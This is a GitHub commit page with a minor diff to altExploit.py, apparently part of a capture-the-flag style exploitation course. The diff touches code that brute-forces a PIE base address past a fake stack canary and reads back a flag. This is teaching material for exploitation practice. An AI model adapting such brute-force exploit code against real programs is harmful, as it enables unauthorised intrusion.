Skip to content

Commit

Permalink
clarity
Browse files Browse the repository at this point in the history
  • Loading branch information
Adamkadaban committed Mar 11, 2022
1 parent cd8300c commit 1eb932a
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions 7.Canary/2.Fake_Canary_With_PIE/altExploit.py
Original file line number Diff line number Diff line change
Expand Up @@ -49,7 +49,7 @@ def exploit(canary):
0x565c447f
0x5658847f
* All functions here will be 1000 aligned,
* All functions here will be 0x1000 aligned,
so we know the address will end with '474'
*
Expand All @@ -66,7 +66,7 @@ def exploit(canary):
# Building address that we brute-force
main_addr = '0x565'
main_addr += hex(i)[2:].zfill(2)
main_addr += hex(e.sym['main'] & 0xfff)[2:]
main_addr += hex(e.sym['main'] % 0x1000)[2:]
main_addr = int(main_addr, 16)

# offset math
Expand All @@ -85,7 +85,7 @@ def exploit(canary):
flagOut = p.recv()
break
except:
print(f'Try {i}: Failed')
print(f'Try {(i + 1):03}: Failed')

p.close()
return flagOut.rstrip().decode('UTF-8')
Expand Down

0 comments on commit 1eb932a

Please sign in to comment.